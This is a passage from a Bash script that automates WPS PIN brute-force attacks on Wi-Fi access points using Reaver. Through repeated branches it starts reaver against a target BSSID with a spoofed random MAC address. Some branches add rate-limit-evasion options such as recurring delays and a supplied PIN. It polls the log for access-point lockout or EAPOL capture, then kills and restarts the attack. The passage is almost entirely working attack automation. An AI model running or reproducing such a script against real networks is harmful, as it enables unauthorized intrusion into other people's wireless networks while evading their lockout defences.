	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R17 == n || $USE_R17 == N ]] && [[ $USE_LONG17 == y || $USE_LONG17 == Y ]] && [[ $USE_PIN17 == n || $USE_PIN17 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME17"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL17"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP17"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE17 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME17-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL17 -b $TARGETAP17 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME17-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE17-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R17 == y || $USE_R17 == Y ]] && [[ $USE_LONG17 == y || $USE_LONG17 == Y ]] && [[ $USE_PIN17 == n || $USE_PIN17 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME17"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL17"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP17"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX17" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY17"
echo -e "$info Reaver live time                   = $yel$LIVE17 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME17-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL17 -b $TARGETAP17 -r $RX17:$RY17 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME17-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE17-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R17 == n || $USE_R17 == N ]] && [[ $USE_LONG17 == n || $USE_LONG17 == N ]] && [[ $USE_PIN17 == y || $USE_PIN17 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME17"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL17"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP17"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE17 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME17-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL17 -b $TARGETAP17 -vv -x 60  --pin=$WPS_PIN17 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME17-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE17-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R17 == y || $USE_R17 == Y ]] && [[ $USE_LONG17 == n || $USE_LONG17 == N ]] && [[ $USE_PIN17 == y || $USE_PIN17 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME17"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL17"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP17"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX17" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY17"
echo -e "$info Reaver live time                   = $yel$LIVE17 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME17-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL17 -b $TARGETAP17 -vv -x 60 -r $RX17:$RY17 --pin=$WPS_PIN17 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME17-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE17-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R17 == n || $USE_R17 == N ]] && [[ $USE_LONG17 == y || $USE_LONG17 == Y ]] && [[ $USE_PIN17 == y || $USE_PIN17 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME17"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL17"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP17"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE17 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME17-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL17 -b $TARGETAP17 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN17 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME17-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE17-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
